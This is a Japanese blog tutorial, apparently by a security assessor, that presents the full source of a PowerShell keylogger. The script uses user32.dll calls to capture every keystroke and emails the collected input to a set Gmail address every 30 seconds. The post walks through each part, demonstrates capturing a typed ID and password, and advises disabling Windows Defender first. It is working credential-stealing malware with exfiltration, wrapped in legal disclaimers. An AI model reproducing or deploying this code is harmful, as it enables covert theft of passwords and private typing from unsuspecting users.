Powershell Windows セキュリティ

【Powershell】キー入力の監視プログラムの作り方【キーロガー】

こんにちは、現在Webアプリとプラットフォームの脆弱性診断を担当しているしがない脆弱性診断士です。ペネトレーションテスターへのキャリアアップを目指してサイバー攻撃の手法を調べているのですが、その過程でキーロガーの作成方法を学習したので同じセキュリティの専門家に向けて学習した内容を記事に残しておこうと思います。なおキーロガーは不審なキー入力がないか監視することができ、管理者にとっては防御に利用できる一方で、個人情報やパスワードを盗むなど悪用することも可能です。悪用すると違法になりますのでくれぐれもペネトレーションテストや防御機構が正しく動作するかの確認等、正当な目的で参考にするようお願いします。

難読化やセキュリティの防御機構を突破するような仕様は実装していませんので実際はWindows Defenderが有効になっていると削除されてしまいますが、ベーシックな例として参考にしてみてください。

本記事の内容を悪用すると違法とみなされる可能性があります。

開発・実行環境

実行環境:Windows10
開発環境:ISE

下準備(セキュリティソフトの無効化)

これから作成するサンプルプログラムはセキュリティソフトに検知されファイルが開けなかったり隔離されてしまうので、Windows Defenderなどは事前に無効化することを推奨します。セキュリティソフトに検知されると若干めんどくさいことになります。なおWindows Defenderはシステム画面からオフにしてもPCを再起動すると有効になる場合があるため、起動の都度無効化する等必要に応じて対策してください。

今回作成するキーロガーのソースコード

では実際に作成したキーロガーのソースコードを記載しておきます。スクリプトの全文がいきなり出てきますがこの後詳しく解説するので安心してください。今回は以下のGitにアップロードされているキーロガーのソースコードを参考にしていますが、参照先のスクリプトでは入力したキーをローカルのファイルに出力する仕様になっているようです。これから紹介するスクリプトではキー入力の履歴を指定した宛先にメールで送信できるよう改修を行っています。

https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process

function sendMail($body) {
        $From = "送信元のgmailアドレス"
        $To = "送信先のgmailアドレス"
        $Subject = "This is a security test."
        $Body = $body
        $Smtp = "smtp.gmail.com"
        $Port = 587
        $ID = "送信元のID"
        $Pass = ConvertTo-SecureString "アプリパスワード" -AsPlainText -Force

        $credential = New-Object System.Management.Automation.PSCredential($ID, $Pass)

        Send-MailMessage `
        -From $From `
        -To $To `
        -subject $Subject `
        -Body $Body `
        -SmtpServer $Smtp `
        -port  $Port `
        -UseSsl `
        -Credential $credential `
        -Encoding UTF8 `
        -ErrorAction Stop
}

$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

$WinAPI = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
$time = Get-Date -DisplayHint Time
$keylogs = ""

while($true) {
    Start-Sleep -Milliseconds 40
    $time_now = Get-Date -DisplayHint Time

    for($vkeycode = 9; $vkeycode -le 254; $vkeycode++) {
        $state = $WinAPI::GetAsyncKeyState($vkeycode)

        if ($state -eq -32767) {
          $null = [console]::CapsLock
          $scancode = $WinAPI::MapVirtualKey($vkeycode, 0)
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $WinAPI::GetKeyboardState($kbstate)

          $keylog = New-Object -TypeName System.Text.StringBuilder
          $success = $WinAPI::ToUnicode($vkeycode, $scancode,  $kbstate, $keylog, $keylog.Capacity, 0)

          if ($success) {
            $keylogs += $keylog
            #Write-Host ("ElapsedTime = {0}, The messages are {1}, VKEYCODE = {2}, SCANCODE = {3}" -f ($time_now - $time).TotalSeconds, $keylogs, $vkeycode, $scancode) #デバッグ用
            if (($time_now - $time).TotalSeconds -gt 30){
               $time = Get-Date -DisplayHint Time
               SendMail $keylogs 
               $keylogs = ""
            }
           
          }

        }
    }
}

スクリプトを確認したところでまずはデモンストレーションを行い、このスクリプトがどんな動きをするのか見てみましょう。

スクリプトを実行後試しにキーボードで「id:admin,password:passw0rd1」と入力してみました。後ほど詳しく解説しますがこのスクリプトでは何らかのキーを押下すると30秒経過毎に指定したGmailアドレス宛にメールが送信される仕様になっています。そのため指定した時間が経過すると以下の通りGmailにキーボードの入力履歴が送られてきます。

プライベートなパソコンにこういったスクリプトを悪用目的で配置されると、自分のキー入力が全て攻撃者に筒抜けになってしまうことがお分かりいただけたかと思います。

メール送信用の関数とWindowsAPIのインポート

ではスクリプトの解説に入っていきますが、指定のアドレスにメールを送信する方法とWindowsAPIの使い方については他記事で既に解説が充実しています。文字数が膨大になってしまうのでスクリプトの以下の箇所については後述の記事を参考にしてください。

function sendMail($body) {
  #解説はQiitaの記事を参照
}

$signatures = @'
  #解説はWindowsAPIの呼び出しの記事を参照
'@

$WinAPI = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

Powershellを使ったGmailの送信方法
https://qiita.com/picato1123/items/e8e0fa9fcb37c7190aa0

ループでキー入力を受け付ける

ではキーロガーの重要な部分について解説します。解説する箇所は以下の部分です。

$time = Get-Date -DisplayHint Time
$keylogs = ""

while($true) {
    Start-Sleep -Milliseconds 40
    $time_now = Get-Date -DisplayHint Time

    for($vkeycode = 9; $vkeycode -le 254; $vkeycode++) {

        $state = $WinAPI::GetAsyncKeyState($vkeycode)
        if ($state -eq -32767) {
          $null = [console]::CapsLock
          $scancode = $WinAPI::MapVirtualKey($vkeycode, 0)
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $WinAPI::GetKeyboardState($kbstate)

          $keylog = New-Object -TypeName System.Text.StringBuilder
          $success = $WinAPI::ToUnicode($vkeycode, $scancode,  $kbstate, $keylog, $keylog.Capacity, 0)

          if ($success) {
            $keylogs += $keylog
            #Write-Host ("ElapsedTime = {0}, The messages are {1}, VKEYCODE = {2}, SCANCODE = {3}" -f ($time_now - $time).TotalSeconds, $keylogs, $vkeycode, $scancode) #デバッグ用
            if (($time_now - $time).TotalSeconds -gt 30){
               $time = Get-Date -DisplayHint Time
               SendMail $keylogs 
               $keylogs = ""
            }
           
          }

        }
    }
}

先頭の$time = Get-Date -DisplayHint Timeですが今回は30秒ごとにキー入力の履歴を記載したメールを送るので、その経過時間の計算に使います。年度や日程は不要なので-DisplayHint Timeを指定し現在日時の時刻の部分だけを取り出します。

PS C:\Users\owner> Get-Date
2022年11月11日 23:41:14

PS C:\Users\owner> Get-Date -DisplayHint Time
23:41:21
    for($vkeycode = 9; $vkeycode -le 254; $vkeycode++) {

        $state = $WinAPI::GetAsyncKeyState($vkeycode)
        if ($state -eq -32767) {

GetAsyncKeyState関数でキーボードの押下状態を取得しますがこちらの関数の引数には仮想キーコードを指定する必要があるため、for文で9から254までの仮想キーコードに対しループを回します。1~8までの仮想キーコードはマウスのクリックやBackSpaceなどが該当しますが、今回はキー入力の取得が目的なのでこちらのイベントは対象外にします。GetAsyncKeyState関数では対象の仮想キーコードのキーが押下されていると-32767の値が$state変数に戻り値として渡されますので、$state変数が-32767の値と等しいかをif文で比較することでキーボードの押下状態を判定します。

基本的な動作としてはキーボードのCapsLockのオンオフに応じてTrue/Falseの値を返すようです。

PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> [console]::CapsLock
False #CapsLockがoff

PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> [console]::CapsLock
True #CapsLockがon

スクリプトの動作に及ぼす影響を調べるためにこちらの構文をコメントアウトしてデバッグ用のスクリプト(上のサンプルの「#デバッグ用」の行)を入れてみましたが、キー入力の大文字小文字の識別が上手くいかなくなるようです。

#$null = [console]::CapsLockをコメントアウトしてない状態
#大文字Aと小文字aを識別できる
PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger\KeyLogger.ps1
ElapsedTime = 0.2812584, The messages are , VKEYCODE = 13, SCANCODE = 28
ElapsedTime = 4.3593738, The messages are a, VKEYCODE = 65, SCANCODE = 30
ElapsedTime = 4.8281245, The messages are aA, VKEYCODE = 65, SCANCODE = 30

#$null = [console]::CapsLockをコメントアウトした状態
#Shiftを押さずにAを押しても大文字になってしまう、小文字のaが打てない
PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger\KeyLogger.ps1
ElapsedTime = 0.2812493, The messages are , VKEYCODE = 13, SCANCODE = 28
ElapsedTime = 1.4531242, The messages are A, VKEYCODE = 65, SCANCODE = 30
ElapsedTime = 1.7343747, The messages are AA, VKEYCODE = 65, SCANCODE = 30
          $scancode = $WinAPI::MapVirtualKey($vkeycode, 0)
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $WinAPI::GetKeyboardState($kbstate)

          $keylog = New-Object -TypeName System.Text.StringBuilder

続いてMapVirtualKey関数を使って仮想キーコードをスキャンコードに変換します。後ほどToUnicode関数を使って入力されたキーを私たちが読めるような文字(ABC…や012…等)に変換しますが、その引数にスキャンコードが必要になるためです。仮想キーコードはOSなどがキーボードを識別する際に利用され、スキャンコードはキーボードからCPUにキーの状態を送る際利用します。仮想キーコードは基本的に同じですが、スキャンコードはハードウェアによっては変わる場合があるのが特徴です。
次にGetKeyboardState関数で仮想キーコードの状態を取得しますが、引数に256バイトの配列を指定する必要があるので直前にNew-Objectコマンドレットを用いて256個のバイト配列を作成し、作成した配列を関数の引数に渡します。キーボードの「A」という文字の仮想キーコードは65(16進数で0x41)なのでキーを押すと配列の65番目の値のフラグが立ち、129という値が返ってきます。以下にMapVirtualKey関数とGetKeyboardStateのサンプルを載せておきます。

$Signature = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

 $WinAPI = Add-Type -MemberDefinition $signature -Name 'Win32' -Namespace WinFunctions -PassThru
 $kbstate = New-Object Byte[] 256

 while($true) {
    Start-Sleep -Milliseconds 100
    $state = $WinAPI::GetAsyncKeyState(0x41)
    if ($state -eq -32767) {
        Write-Host "Button A is pressed."

        #仮想キーコード0x41(65)をスキャンコードに変換
        $scancode = $WinAPI::MapVirtualKey(0x41, 0)
        Write-Host $scancode
        $checkkbstate = $WinAPI::GetKeyboardState($kbstate)
        #kbstateの65番目の配列に129が代入される
        Write-Host $kbstate[0x41]
    }
}

実行結果

PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> C:\Users\owner\Desktop\Others\学習\Powershell\WindowsAPI\無題1.ps1
Button A is pressed.
30
129

準備が色々と長かったですがここでToUnicode関数を用いて取得したキーコードを私たちが読める文字に変換します。ToUnicode関数は引数に指定した仮想キーコードとキーボードの状態をそれに対応する Unicode 文字に変換します。各引数は以下の通り指定します。Unicode文字への変換が完了すると戻り値として$successに1が代入されます。

$success = $WinAPI::ToUnicode($vkeycode, $scancode,  $kbstate, $keylog, $keylog.Capacity, 0)
第1引数変換する仮想キーコード
第2引数ハードウェアのスキャンコード
第3引数キーボードの状態を保持する256バイトの配列
第4引数変換された文字を受け取るバッファ
第5引数文字を受け取る変数のバッファのサイズ
第6引数関数の設定フラグ

第5引数の$keylog.capacityですが、このプロパティは変数に代入できる文字列の最大値を表します。初期値は以下のように16が指定されてるようですが文字数が16を超えるとよしなに大きくしてくれます。

PS C:\Users\owner\Desktop> $keylog = New-Object -TypeName System.Text.StringBuilder("a")

PS C:\Users\owner\Desktop> Write-Host $keylog.Capacity
16

PS C:\Users\owner\Desktop> $keylog = New-Object -TypeName System.Text.StringBuilder("0123456789abcdef1234")

PS C:\Users\owner\Desktop> Write-Host $keylog.Capacity
20
          if ($success) {
            $keylogs += $keylog #取得した文字を追加

            if (($time_now - $time).TotalSeconds -gt 30){
               $time = Get-Date -DisplayHint Time #前回のメール送信時刻を更新
               SendMail $keylogs
               $keylogs = ""
            }
          }

入力したキーの文字が取得できたので次はメールを送る箇所の説明です。キーを打つたびに送信しているとメールの量が膨大になって鬱陶しいので、今回は30秒経過後に文字が入力されるとメール送信するようにします。経過時間は現在時刻と前回メールが送信された時の差分から以下のように求めることができます。

#前回メールを送信した時刻
PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> $time = Get-Date -DisplayHint Time

#現在の時刻
PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> $time_now = Get-Date -DisplayHint Time

#現在時刻から前回メール送信した時刻を引く
PS C:\Users\owner\Desktop\Others\学習\Powershell\KeyLogger> ($time_now - $time).TotalSeconds
10.6682239

この結果を以下のようにif文で判定することで30秒ごとにメールを送信することができます。

 if (($time_now - $time).TotalSeconds -gt 30){

実際に手元で動かしてみよう

これで一通りスクリプトに関する説明が終わりました。文字数が多くなってしまったので疲れてるかもしれませんが、余裕があれば実際に読むだけでなく、是非皆さんの手元で動かしてみてください。

-Powershell, Windows, セキュリティ